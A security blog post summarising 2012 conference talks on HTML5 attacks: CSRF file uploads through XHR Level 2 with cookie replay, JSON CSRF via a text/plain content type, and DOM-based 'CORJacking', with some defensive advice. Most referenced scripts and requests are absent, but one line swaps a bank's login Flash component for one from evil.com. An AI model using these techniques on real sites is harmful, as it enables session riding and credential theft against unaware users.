Talks on HTML5 Security (HITB and AppSecUSA 2012)

HITB KUL 2012 Talk on HTML5

OWASP AppSecUSA 2012 Talk

XSS & CSRF with HTML5 - Attack, Exploit and Defense - Shreeraj Shah from OWASP AppSec USA on Vimeo.

CSRF with upload – XHR-L2, HTML5 and Cookie replay

XHR level 2 calls embedded in HTML5 browser can open a cross domain socket and deliver HTTP request. Cross Domain call needs to abide by CORS. Browser will generate preflight requests to check policy and based on that will allow cookie replay. Interestingly, multi-part/form-data request will go through without preflight check and “withCredentials” allows cookie replay. This can be exploited to upload business logic files via CSRF if server is not validating token/captcha. Business applications are allowing to upload files like orders, invoices, imports, contacts etc. These critical functionalities can be exploited in the case of poor programming.

If we have a business functionalities for actual upload form then this type of HTTP request will get generated at the time of upload. Note, cookie is being replayed and request is multi-part form.

Now, if CSRF payload has following XHR call.

Above call will generate following HTTP request and causes CSRF and upload the file. Hence, without user’s conscent or knowledge cross domain file being uploaded on the target application with the logged in credential.

Future probes – one needs to check other impact like AMF stream uploading, XML file transfer and few other library protocols which is now a day’s dealing in multi-part to support binary calls.

If you are interested in this analysis should visit @kkotowicz work - http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html.  

Cross Origin Resource Jacking (CORJacking) - DOM based attack vector

CSRF and UI Redressing (Click/Tab/Event Jacking) attack vectors are popular ways to abuse cross domain HTTP calls and events. HTML5, Web 2.0 and RIA (Flash/Silverlight) applications are loaded in browser with native state or using plug-ins. DOM used to be an integral part of the browser and now it is becoming even more important aspect with reference to web applications. Web applications are using DOM in very complex and effective way to serve their client better and leveraging all possible features allowed by DOM specifications.

There are many applications run as single DOM app and once it gets loaded, it remains in scope across the application life cycle. CORS and SOP have to play critical role in protecting Cross Origin Resources and control relevant HTTP calls. HTML5 and RIA applications are having various different resources like Flash files, Silverligh, video, audio etc. These resources are loaded in their own little object space which is defined by specific tag. These resources are accessible by DOM and can be manipulated as well. If DOM is forced to change underlying resource on the fly and replaced by cross origin/domain resource then it causes Cross Origin Resource Jacking (CROJacking).

Example,

Let’s assume there are two domains – foobank.com and evil.com. Foobank application is having flash driven application and it has its own login swf (login.swf) file. This flash component is loaded via object in the browser. If by DOM call this login.swf file is replaced by similar file residing on evil.com then it will cause CORJacking and user would be under impression that he/she is using foobank.com resources. Also, reverse would be possible as well. Evil.com loads resources residing on Foobank.com domain and it will cause reverse CORJacking.

Here is a small DEMO of CORJacking with Flash resource.

Here is the object tag loading flash component

HTML page is loaded in the browser and this object which is coming from foobank.com domain is being loaded. Assuming this page has DOM based issue and possible to inject/manipulate this value. Hence, if we want to access src of this object tag then through DOM we get its access.

Interestingly document.getElementsByName(‘Login’).item(0).src is not just read only value, one can assign a cross origin resource to it on the fly.

Hence, below line will actually change the resource and loads login.swf file from evil.com domain.

document.getElementsByName(‘Login’).item(0).src = ‘http://evil.com/login.swf’

This will clearly hijack the resource and user will be under impression that it is negotiating with foobank’s login component but actual component is from evil domain. This is the case of CORJacking and reverse can be done as well. Evil domain can load Foobank component and causes reverse CORJacking.

Since browser is allowing these Cross Origin Resource access one needs to embed defense in similar way we are doing for ClickJacking. Before component being loaded, component should have sense of domain and disallow its execution on cross domain as far as reverse CORJacking is concern. For CORJacking one needs to lock object using JavaScript, controlling stream and avoid DOM based injection issues to stop CORJacking exploitation.

[Note – This type of loading is not restricted to one type of resource only, it is applicable to different types of resources and browser's ability to process cross origin resource loading. It is possible to create various different variants of these attack vector like flashjacking, silverlightjacking, mediajacking etc. inherited from UI redressing family - interesting area for research, will add a paper on it soon.]

CSRF with JSON – leveraging XHR and CORS

Same Origin Policy (SOP) dictates cross domain calls and allows establishment of cross domain connections. SOP bypasses allow CSRF attack vector, an attacker can inject a payload on cross domain page that initiate a request without consent or knowledge of the target user. HTML 5 is having one more policy in place called CORS (Cross Origin Resource Sharing). CORS is a “response blind” technique and controlled by extra added HTTP header “orgin” and their variants but it allows request to hit the target in one way direction. Hence, it is possible to do one-way CSRF. It is possible to initiate CSRF vector using XHR-Level 2 on HTML 5 pages and can prove really lethal attack vector. XHR establishes a stealth connection and remains much hidden, XHR connection can be set using “withCredentials” as true along with POST method. It allows cookie to replay and helps in crafting successful CSRF scenario or session riding. Interestingly HTML 5 along with CORS allows performing file upload CSRF as well. It is possible to craft a JavaScript using XHR and inject JSON payload as cross domain. If server side code on JSON library is not validating the “Content-Type” then it will process the request and allows successful CSRF.

For example,

Here is a script which will do CSRF on cross domain.

Here, we have “Content-Type” as “text-plain” and no new extra header added so CORS will not initiate OPTIONS to check rules on the server side and directly make POST request. At  the same time we have kept credential to “true” so cookie will replay.

On the wire we can see following request.

As you can see cookie is replayed and JSON POST has been initiated. We get following response back from application.

Application processed the request and sent JSON back. It is clear case of CSRF. This can be applied to other streams as well.